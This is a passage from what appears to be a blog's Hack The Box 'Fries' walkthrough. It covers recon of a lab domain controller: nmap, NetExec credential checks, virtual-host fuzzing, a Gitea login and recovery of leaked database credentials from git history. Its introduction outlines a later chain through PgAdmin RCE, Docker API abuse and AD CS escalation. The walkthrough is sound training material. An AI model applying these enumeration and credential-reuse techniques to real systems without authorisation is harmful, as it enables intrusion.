]]></content:encoded></item><item><title><![CDATA[HTB: Fries Writeup]]></title><description><![CDATA[Fries is one of those machines that reminds you why clicking Scan is never the end of the story. It starts innocently enough with a few exposed services…]]></description><link>https://natosec.hashnode.dev/htb-fries-writeup</link><guid isPermaLink="true">https://natosec.hashnode.dev/htb-fries-writeup</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[Windows]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hack the box writeups]]></category><dc:creator><![CDATA[Ignatius Ritu]]></dc:creator><pubDate>Sun, 29 Nov 2026 10:15:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b3dcc9d-acc0-43ac-8bbd-d73cf46ae96a.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Fries</strong> is one of those machines that reminds you why clicking <strong>Scan</strong> is never the end of the story. It starts innocently enough with a few exposed services and a set of credentials but it doesn’t take long for things to get interesting. A forgotten secret in Git history opens the door to <em>PgAdmin</em>, where a <em>Remote Code Execution vulnerability</em> provides the first foothold. From there, the investigation moves deeper into the infrastructure, uncovering an <em>exposed NFS share</em>, <em>Docker certificate material</em> and a <em>misconfigured Docker API</em> that turns a <em>low-privileged</em> account into <em>root access</em> on the Linux host.</p>
<p>But that is only half the story. The real fun begins when the compromised infrastructure reveals a path into Active Directory. <em>Captured service credentials</em> lead to <em>gMSA access</em>, which exposes <em>dangerous Certificate Authority permissions</em>. By <em>chaining three AD CS weaknesses</em> — <em><strong>ESC7, ESC6</strong></em> and <em><strong>ESC16</strong></em> — the attack progresses from <em>certificate misconfiguration</em> to <em>impersonating the domain Administrator</em>. What started with a simple scan eventually ends with full domain compromise and a SYSTEM shell. Fries certainly doesn’t make the journey boring — so, let’s get these Fries well done!🍟😋</p>
<hr />
<h2>About</h2>
<ul>
<li><strong>OS:</strong> Windows</li>
<li><strong>Difficulty:</strong> Hard</li>
<li><strong>Release Date:</strong> 22 Nov, 2025</li>
</ul>
<hr />
<h2>Environment Setup</h2>
<ul>
<li>Before beginning the assessment, a dedicated working directory is created to keep scan results, collected information, scripts and other artifacts organized throughout the engagement:</li>
</ul>
<pre><code class="language-shell">mkdir -p HTB/Fries &amp;&amp; cd HTB/Fries
</code></pre>
<h2>Connectivity Verification</h2>
<ul>
<li>The first step is verify that the target is reachable before proceeding with service enumeration:</li>
</ul>
<pre><code class="language-shell">ping -c 3 10.129.244.72
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a6a146d4-56d1-4d61-b285-3dd353db847f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>All three request receive responses, confirming basic network connectivity.</li>
</ul>
<h2>Network Enumeration</h2>
<ul>
<li><strong>Nmap</strong> is used to identify <em>open ports</em>, <em>running services</em>, <em>service versions</em> and other useful information that may help determine the target’s underlying infrastructure:</li>
</ul>
<pre><code class="language-shell">sudo nmap -sCV --reason -oN fries.nmap 10.129.244.72
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/73f94017-50f1-4b72-8725-51bf8d7bc91b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2f96ba20-c7b6-4bdb-9c92-8952aec3d41f.png" alt="" style="display:block;margin:0 auto" />

<h3>Understanding the Nmap Results</h3>
<h4>TTL Analysis</h4>
<ul>
<li>The scan reveals different <strong>TTL</strong> values across the exposed services:<ul>
<li><strong>TTL 127</strong>: Observed on several Windows-related services.</li>
<li><strong>TTL 62</strong>: Observed on SSH and HTTP services running behind nginx.</li>
</ul>
</li>
<li>These differences suggest that the services may be hosted on different operating systems or exposed through different network paths.</li>
</ul>
<h4>Open Ports and Services</h4>
<ul>
<li><strong>Port 22 (SSH)</strong> — OpenSSH 8.9p1 running on Ubuntu.</li>
<li><strong>Port 53 (DNS)</strong> — Simple DNS Plus.</li>
<li><strong>Port 80 (HTTP)</strong> — nginx 1.18.0 on Ubuntu.</li>
<li><strong>Port 88 (Kerberos)</strong> — Microsoft Windows Kerberos.</li>
<li><strong>Port 135 (MSRPC)</strong> — Microsoft RPC.</li>
<li><strong>Port 139 (NetBIOS)</strong> — NetBIOS Session Service.</li>
<li><strong>Port 389 (LDAP)</strong> — Active Directory LDAP.</li>
<li><strong>Port 443 (HTTPS)</strong> — nginx hosting the PWM application.</li>
<li><strong>Port 445 (SMB)</strong> — Microsoft-DS for file sharing.</li>
<li><strong>Port 464 (Kerberos Password Change)</strong> — Kerberos password management.</li>
<li><strong>Port 593 (RPC over HTTP)</strong> — Microsoft Windows RPC.</li>
<li><strong>Port 636 (LDAPS)</strong> — LDAP over TLS.</li>
<li><strong>Port 2179 (VM Remote Desktop)</strong> — Potential Hyper-V related service.</li>
<li><strong>Port 3268 (LDAP Global Catalog)</strong> — Active Directory Global Catalog.</li>
<li><strong>Port 3269 (LDAPS Global Catalog)</strong> — Secure Global Catalog.</li>
<li><strong>Port 5985 (WinRM)</strong> — Windows Remote Management over HTTP.</li>
<li>Several services immediately stand out. The presence of <em>Kerberos (88)</em>, <em>LDAP (389)</em>, <em>SMB (445)</em> and <em>WinRM (5985)</em>, alongside <em>DNS Service</em>, strongly suggest an <strong>Active Directory Domain Controller</strong>.</li>
<li>Nmap also identifies the host as <code>DC01</code>, which is consistent with a domain controller naming convention.</li>
<li>Port 443 revealed another web service running over HTTPS. The most interesting detail is the SSL certificate’s Common Name: <code>commonName=pwm.fries.htb</code></li>
<li>The <strong>Linux-related services</strong>, particularly <em>SSH</em> and <em>nginx</em>, suggest that additional Linux-hosted components are exposed through the same target address.</li>
</ul>
<h4>Domain and Hostname Identification</h4>
<ul>
<li>The LDAP service and certificate reveals the following information:<ul>
<li><strong>Domain</strong>: <code>fries.htb</code></li>
<li><strong>Domain Controller</strong>: <code>DC01.fries.htb</code></li>
<li><strong>NetBIOS-style domain name</strong>: <code>FRIES</code></li>
</ul>
</li>
<li>The <strong>HTTP</strong> service on port <code>80</code> also redirects requests to <code>http://fries.htb/</code>.</li>
</ul>
<h4>Kerberos and Clock Skew</h4>
<ul>
<li>The Kerberos service reveals the domain controller’s reported time.</li>
<li>Nmap also reports a clock skew of approximately five minutes. Clock skew represents the difference between the local system time and the remote server’s time.</li>
<li>This is particularly important when dealing with Kerberos authentication because Kerberos tickets contain timestamps and significant time differences between the client and domain controller can cause authentication failures.</li>
</ul>
<h4>SMB Security Configuration</h4>
<ul>
<li><strong>SMB message signing</strong> is enforced for <code>SMB 3.1.1</code> connections.</li>
<li><strong>SMB signing</strong> provides message integrity by applying cryptographic signatures to SMB messages. Requiring signing helps protect against certain relay and man-in-the-middle attacks, although it does not eliminate every form of SMB-related attack.</li>
</ul>
<h3>Generating the Hosts File</h3>
<ul>
<li>With the domain and hostname identified, the next step is to ensure that the discovered names resolve to the target IP address.</li>
<li><strong>NetExec</strong> provides a convenient option for generating host entries from SMB information:</li>
</ul>
<pre><code class="language-shell">nxc smb 10.129.244.72 --generate-hosts-file fries_hosts
</code></pre>
<ul>
<li>The resulting entries can then be appended to the local <code>/etc/hosts</code> file:</li>
</ul>
<pre><code class="language-shell">cat fries_hosts | sudo tee -a /etc/hosts
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/73f6eb3b-ba19-42c4-b559-23ca6b006d00.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This allows the local machine to resolve names such as <code>DC01.fries.htb</code> and <code>fries.htb</code> without relying on an external DNS resolve</li>
<li>The virtual host <code>pwm.fries.htb</code> was also added to <code>/etc/hosts</code> file:</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ae369e50-f5dd-4915-ad3e-30abecdc9792.png" alt="" style="display:block;margin:0 auto" />

<h3>Synchronizing Time with the Domain Controller</h3>
<ul>
<li>Since the Nmap scan identified a clock difference, the local system time is synchronized with the target:</li>
</ul>
<pre><code class="language-shell">sudo ntpdate 10.129.244.72
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/79b9e752-1745-4732-981b-715be96740d6.png" alt="" style="display:block;margin:0 auto" />

<h2>Validating the Assume-Breach Credentials</h2>
<ul>
<li>The assessment proceeds with a set of assume-breach credentials. Rather than immediately assuming the credentials are valid, <strong>NetExec</strong> is used to test them against several exposed Active Directory services.</li>
</ul>
<h3>SMB Authentication</h3>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
</code></pre>
<ul>
<li>The authentication attempt returns <code>STATUS_LOGON_FAILURE</code>. This indicates that the SMB server rejected the supplied authentication credentials.</li>
</ul>
<h3>SMB Authentication over Kerberos</h3>
<ul>
<li>The next attempt uses Kerberos instead of the default authentication mechanism:</li>
</ul>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!' -k
</code></pre>
<ul>
<li>The <code>-k</code> option instructs NetExec to use Kerberos authentication.</li>
<li>The attempt returns <code>KDC_ERR_PREAUTH_FAILED</code> indicating Kerberos pre-authentication failure.</li>
<li>The failure suggest that the supplied authentication material was not accepted during the pre-authentication process. An incorrect password is one possible explanation, although other account and authentication conditions may also be relevant.</li>
</ul>
<h3>LDAP Authentication</h3>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
</code></pre>
<ul>
<li>The authentication attempt fails, indicating that the supplied credentials are not accepted through the LDAP authentication interface.</li>
</ul>
<h3>LDAP Authentication over Kerberos</h3>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!' -k
</code></pre>
<ul>
<li>The result returns <code>KDC_ERR_PREAUTH_FAILED</code> indication the KDC rejects the pre-authentication request.</li>
<li>This reinforces the observation that the supplied credentials are not currently usable through the tested Kerberos authentication flow.</li>
</ul>
<h3>WinRM Authentication</h3>
<ul>
<li>Finally, the credentials are tested against Windows Remote Management:</li>
</ul>
<pre><code class="language-shell">nxc winrm DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
</code></pre>
<ul>
<li>The authentication attempt fails, meaning that the supplied credentials do not provide access through <strong>WinRM</strong>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ea0be5a9-fe16-447f-873b-61c44ec6f95d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The supplied credentials have not been successfully validated against <em><strong>SMB</strong></em>, <em><strong>LDAP</strong></em> or <em><strong>WinRM</strong></em>, and the Kerberos attempts have returned <em>pre-authentication failures</em>.</li>
<li>Rather than forcing authentication attempts with credentials that have not been verified, the investigation should continue through the other exposed services and available information sources.</li>
</ul>
<h2>Web Enumeration</h2>
<ul>
<li>With the initial network enumeration complete, attention shifts to the Web services exposed on ports <code>80</code> and <code>443</code>.</li>
<li>The first application is hosted at <code>http://fries.htb/</code> which was identified through the HTTP redirect discovered during the Nmap scan.</li>
</ul>
<h3>Enumerating the Main Website</h3>
<ul>
<li>Navigating to <code>http://fries.htb/</code> presents a relatively simple restaurant-themed homepage.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ee2af91c-55df-4909-a6a8-b087bbdd3807.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The website contains several sections and pages:<ul>
<li><strong>Home Page</strong>: Displays the restaurant’s landing page, Featured Dishes and some other information about the restaurant.</li>
<li><strong>About</strong>: Provides information about the company, their philosophy and some staff members and is located at <code>http://fries.htb/about/</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/32446a26-b26e-4083-8b0c-3943073bbd43.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Menu</strong>: Lists the available meals and dietary accommodations and is located at <code>http://fries.htb/menu/</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/25eee136-c326-4f6c-ac0c-db6af6c7b25f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Contact Us Section</strong>: Displays the email address <code>info@fries.htb</code>.</li>
<li>Other navigation links simply append a <code>#</code> fragment to the current URL without taking the browser to another page.</li>
<li>Viewing the page source does not reveal any significant information, so the investigation moves towards examining the HTTP response headers and identifying the underlying web technology.</li>
</ul>
<h3>Enumerating the HTTPS Application</h3>
<ul>
<li>The Nmap scan also identified an HTTPS service on port 443, with a redirect or application hostname pointing towards <code>https://pwm.fries.htb</code></li>
<li>Navigating to this address presents a <strong>PWM Password Self Service</strong> application.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1bba95b4-2e10-4cc3-b79a-ad0a9e93c408.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>PWM (Password Management) is an application designed to provide password self-service functionality, allowing users to perform password-related operations such as changing or resetting their passwords, depending on its configuration.</li>
<li>Upon accessing the application, a configuration notice is displayed.</li>
<li>The notice explains that the application is currently operating in Configuration mode. In this mode, configuration changes can be made without first authenticating against an LDAP directory.</li>
<li>However, normal end-user functionality is unavailable while the application remains in this mode.</li>
<li>The notice also explains that once the LDAP directory configuration has been verified, the Configuration manager can be used to restrict configuration access and prevent unauthorized modifications.</li>
<li>Once the configuration access is restricted, further changes require authentication against the configured LDAP directory.</li>
<li>The login interface provides two configuration-related options:<ul>
<li><em>Configuration Manager</em></li>
<li><em>Configuration Editor</em></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b16704df-b4f5-4bac-bf64-7340187208aa.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The interface included a small version dropdown revealing <code>PWM v2.0.8</code></li>
<li>Both options prompt for a configuration password when accessed.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e24bf1a4-8777-4f47-9dd6-1124934d7687.png" alt="" style="display:block;margin:0 auto" />

<h3>Identifying the Web Technology</h3>
<ul>
<li>The curl utility can be used to retrieve HTTP response headers without downloading the entire page:</li>
</ul>
<pre><code class="language-shell">curl -I http://fries.htb/
</code></pre>
<ul>
<li>The response confirms that the application is served through <code>nginx 1.18.0</code> running on Ubuntu.</li>
<li>However, the headers do not reveal the actual application framework. nginx is acting as the web server or reverse proxy and the application behind it may use an entirely different technology.</li>
<li>A useful trick is to request a non-existent resource and inspect the resulting error page:</li>
</ul>
<pre><code class="language-shell">curl http://fries.htb/nato
</code></pre>
<ul>
<li>The structure of the error page resembles <em><strong>Flask’s default 404</strong></em> response.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2152fe62-bf12-49db-836d-f9174b07ba20.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This provides an early indication that the application may be built using <strong>Python Flask</strong>. It is not definitive proof, but it becomes a useful lead to verify during further enumeration.</li>
<li>Inspecting the PWM HTTP Response with the <code>-k</code> option instructs curl to continue connecting even when the server’s TLS certificate cannot be verified.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8d02fc6e-46e6-4d79-b176-071d6c1b77ee.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Once again, <strong>nginx</strong> is exposed as the HTTP server, but the response headers do not provide enough information to identify the application’s underlying implementation.</li>
</ul>
<h3>Investigating the PWM LDAP Configuration Error</h3>
<ul>
<li>The previously discovered assume-breach credentials are tested against the PWM login interface.</li>
<li>Instead of successfully authenticating, the application displays an error.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7dabf52a-0c5f-4369-931b-b678da0446d9.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Rather than reporting a simple authentication failure, PWM indicates that it cannot establish a trusted connection to the LDAP server.</li>
<li>The error identifies several useful configuration details:<ul>
<li><strong>LDAP Server</strong>: <code>dc01.fries.htb</code></li>
<li><strong>LDAP Port</strong>: <code>636</code></li>
<li><strong>Protocol</strong>: <code>LDAPS</code></li>
<li><strong>Bind Account</strong>: <code>CN=svc_infra,CN=Users,DC=fries,DC=htb</code></li>
<li><strong>Error</strong>: <code>Certificate does not match PWM trust store</code></li>
</ul>
</li>
<li>The application is configured to communicate with Active Directory using LDAPS, which encrypts LDAP communication using TLS.</li>
<li>However, the certificate presented by the LDAP server does not match a certificate trusted by PWM’s configured trust store.</li>
<li>This prevents PWM from establishing the LDAP connection.</li>
<li>An important distinction is that this is an application-to-directory connectivity and certificate validation problem, not evidence that the supplied user credentials are incorrect.</li>
<li>The bind account <code>svc_infra</code> is also worth recording because service accounts frequently provide useful insight into the architecture and permissions of an Active Directory environment.</li>
</ul>
<h3>Searching for Known PWM Vulnerabilities</h3>
<ul>
<li>Since the application version has been identified as <code>PWM 2.0.8</code>, the next step is to investigate whether publicly documented vulnerabilities or exploits affect this release.</li>
<li><strong>Searchsploit</strong> provides a convenient way to search the local Exploit Database collection:</li>
</ul>
<pre><code class="language-shell">searchsploit PWM
</code></pre>
<ul>
<li>The results contain unrelated entries that happen to include the term PWM.</li>
<li>The search is therefore narrowed to the identified version:</li>
</ul>
<pre><code class="language-shell">searchsploit PWM v2.0.8
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d42b442e-000b-4574-897d-dd37e3d0a956.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>No matching exploit is identified in the local Exploit Database collection.</li>
</ul>
<h3>Researching PWM Documentation and Source Code</h3>
<ul>
<li>The investigation moves beyond the local exploit database to examine publicly information.</li>
<li>The <a href="https://nvd.nist.gov/vuln/search?resultType=records"><strong>National Vulnerability Database (NVD)</strong></a> and <a href="https://www.cvedetails.com/index.php"><strong>CVE Details</strong></a> are checked for vulnerabilities associated with the identified application and version. These searches do not reveal a relevant vulnerability that immediately explains a potential attack path.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f4b46bac-d7c3-4d3f-b863-6fbe6236137f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The official PWM GitHub repository provides another useful source of information.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f79d0095-17a6-4683-b129-a285739f0b6e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Examining the project’s source code and documentation reveals that PWM is primarily a <strong>Java-based</strong> web application.</li>
<li>This is useful architectural information to retain because Java application behavior, configuration management, dependencies and deployment characteristics may become relevant during deeper investigation.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/83abf4dd-4f2a-4ecb-9fed-d28fffb4faeb.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The official documentation also provides a reference library covering PWM configuration and functionality.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/077b4988-1db6-4621-87dc-497af74607cc.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>At this stage, no direct exploit has been identified, so the application remains an enumeration lead rather than a confirmed entry point.</li>
</ul>
<h3>Inspecting the TLS Certificate</h3>
<ul>
<li><strong>TLS certificates</strong> can reveal more than the encryption details of a web service. They may also expose hostnames, organizational information and contact details that are useful during reconnaissance.</li>
<li>Since PWM is accessible over HTTPS, inspecting its certificate is worthwhile.</li>
<li>The certificate reveals another email address <code>web@fries.htb</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/88d91d15-7e0a-45a8-a20a-8556113ff892.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This address is added to the enumeration notes alongside the previously discovered <code>info@fries.htb</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/48976959-eae2-4a1d-befb-a455739b3dbb.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The application also exhibits intermittent timeouts after remaining accessible for a few minutes.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a467bbd3-5a92-4611-a8c5-005c3361d3fc.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>At this point, the PWM application has revealed its <em>version, its dependency on LDAPS, a service account used for directory binding</em> and <em>additional contact information</em>. However, it has not yet provided a direct path forward.</li>
</ul>
<h2>Virtual Host Enumeration</h2>
<ul>
<li>The initial web enumeration has identified the main website and the PWM application, but there may be additional applications hosted on the same web server.</li>
<li>Web servers frequently use name-based virtual hosting, allowing multiple websites to share the same IP address and port.</li>
<li>Virtual host enumeration is therefore performed to identify additional subdomains associated with <code>fries.htb</code>.</li>
</ul>
<h3>Enumerating Virtual Hosts with Gobuster</h3>
<pre><code class="language-shell">gobuster vhost --url http://fries.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2f0a3ff8-e071-41d8-bb0b-0a791c4625f6.png" alt="" style="display:block;margin:0 auto" />

<h3>Enumerating Virtual Hosts with Ffuf</h3>
<ul>
<li>For those who prefer FFUF, the equivalent command is:</li>
</ul>
<pre><code class="language-shell">ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://fries.htb -H 'Host: FUZZ.fries.htb' -ac
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/201df480-c897-4921-ab1a-1f5d31dd6ea0.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Both tools identified the same hidden virtual host <code>code.fries.htb</code></li>
<li>The newly discovered hostname is added to <code>/etc/hosts</code> so that it can be accessed locally.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4a3f067d-55fa-48de-a758-3f6f8690282e.png" alt="" style="display:block;margin:0 auto" />

<h2>Enumerating Gitea</h2>
<ul>
<li>Navigating to <code>http://code.fries.htb</code> reveals a Gitea instance.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5e081064-ed1d-4bed-89f8-6fb8f622c270.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Gitea is a self-hosted Git service that provides functionality similar to GitHub, including repository management, source code hosting, issue tracking and collaboration features.</li>
</ul>
<h3>Exploring the Gitea Instance</h3>
<ul>
<li>The first step is to inspect the publicly accessible content.</li>
<li>Clicking the Explore button reveals that there are no publicly accessible repositories.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/68504913-dc72-4d00-b8a8-b62460c34caf.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>However, a sign-in option is available.</li>
<li>Since the assume-breach credentials previously failed against tested Active Directory services, they are worth trying against this newly discovered application.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bd6efbca-c7f3-42f0-8458-ba2dd52e7118.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The credentials are entered into the Gitea login page and they work!</li>
<li>This is an important development because it confirms that the assume-breach credentials are valid for Gitea, despite the earlier failures against <em><strong>SMB, LDAP</strong></em> and <em><strong>WinRM</strong></em>.</li>
<li>This also demonstrates why authentication failures against one service should not automatically invalidate credentials across an entire environment. Different applications may use different authentication mechanisms, identity providers or account configurations.</li>
<li>The successful credentials are added to the assessment notes</li>
</ul>
<h3>Enumerating Private Repositories</h3>
<ul>
<li>After authentication, the Gitea interface reveals a single repository belonging to the user <code>dale</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c165d1af-af6a-4a77-bd97-16a16c8c060f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Opening the repository revealed a <code>README.md</code> describing the application's architecture.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f4a0e81c-6f31-46c2-8722-c521f00eba85.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The README confirms that the repository contains the source code for the restaurant website previously discovered at <code>http://fries.htb</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d1bea8e9-1894-404c-b9dc-ac4a2dd8d31a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This establishes a direct relationship between the public-facing website and the newly discovered source code repository.</li>
<li>The README provides several useful architectural details:</li>
<li><strong>Application Overview</strong><ul>
<li>Official web application for Fries.</li>
<li>Landing page containing company highlights.</li>
<li>About section showcasing the founder and staff.</li>
<li>Menu section containing categorized food items.</li>
<li>Integration with PostgreSQL database for menu and user data.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/412a6deb-2d3b-4318-8304-9e243dd38c21.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Technology Stack</strong><ul>
<li><strong>Programming Language</strong>: <code>Python 3</code></li>
<li><strong>Web Framework</strong>: <code>Flask</code></li>
<li><strong>Template Engine</strong>: <code>Jinja2</code></li>
<li><strong>Database</strong>: <code>PostgreSQL</code></li>
<li><strong>Containerization</strong>: <code>Docker</code></li>
<li><strong>Deployment</strong>: <code>Docker Compose</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/fb34b396-2ce6-452a-b7d0-f97db24ebcf4.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The README also contains deployment instructions, including screenshots showing commands executed from a terminal prompt belonging to the <code>svc</code> user.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/69454f49-c353-400d-b636-684c07dc7c78.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This reveals another potentially useful username, <code>svc</code>, as well as the hostname <code>web</code>.</li>
<li>The deployment documentation also identifies a database management interface <code>http://db-mgmt05.fries.htb</code>.</li>
</ul>
<h3>Examining the Commit History</h3>
<ul>
<li>While the <strong>README</strong> provides useful information about the application’s architecture, the repository’s commit history turns out to be considerably more interesting.</li>
<li>The repository contains 11 commits.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f8c08840-6fac-4aa1-9401-3fdce10e1cbd.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Git preserves project history, allowing developers to track changes to files over time. This history can also expose information that was removed from the current version of the source code.</li>
<li>A common security mistake occurs when developers remove sensitive information from a file but fail to remove the original commit containing that information.</li>
<li>In such cases, the sensitive data may remain accessible through the repository’s historical commits.</li>
<li><strong>Initial Commit — Exposed Database Credentials</strong><ul>
<li>The initial commit, authored by Dale Cooper, contains the database connection string and the application secret key.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b156312a-6ba1-4512-af15-f834ee29b122.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <strong>Database Connection String</strong> reveals <em>database authentication credentials</em>, <em>the database name</em> and an <em>internal IP address</em> that appears to belong to a Docker network.</li>
<li>The application secret key is another sensitive configuration value.</li>
<li>In Flask applications, the secret key is commonly used to sign session cookies and support other security-related functionality.</li>
<li>If exposed, its impact depends on how the application uses the key and whether an attacker can exploit that usage. It should therefore be treated as sensitive configuration material.</li>
<li><strong>Third Commit — Attempted Credential Removal</strong><ul>
<li>The third commit, also authored by <code>Dale Cooper</code>, reveals an attempt to correct the mistake.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/98c2d3d9-6edf-4749-ac40-9b18ee4b0dd7.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The database credentials are moved into an environment file, and the file is added to <code>.gitignore</code>.</li>
<li>Although this is an improvement for future commits, adding a file to <code>.gitignore</code> does not remove sensitive information from commits that already exist.</li>
<li>Git retains historical versions of tracked files until the history is explicitly rewritten and the affected repository copies are appropriately cleaned up.</li>
<li>Consequently, the original credentials remain accessible through the initial commit.</li>
<li>Other commits also reveal updates to contact information and the addition of images embedded in the README.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b6024577-a452-45ee-806b-f74afea1a413.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/087ea865-284d-4d08-afa4-22519fe753e3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>At this stage, the repository has exposed several useful details:<ul>
<li>Application usernames.</li>
<li>Database Credentials.</li>
<li>An application secret key.</li>
<li>Internal Docker network information.</li>
<li>Database name and service details.</li>
<li>Additional hostnames and deployment information.</li>
</ul>
</li>
<li>The repository has effectively provided an architectural overview of the environment, along with credentials that were never meant to be publicly accessible.</li>
</ul>
<h3>Organizing the Discovered Information</h3>
<ul>
<li>Before moving forward, the newly discovered hostname and potential usernames and passwords are organized for subsequent enumeration.</li>
<li>The database management hostname is added to <code>/etc/hosts</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bef55ce6-4e50-414d-8b61-2d3e2714f3a1.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>A username and password wordlists are created.</li>
</ul>
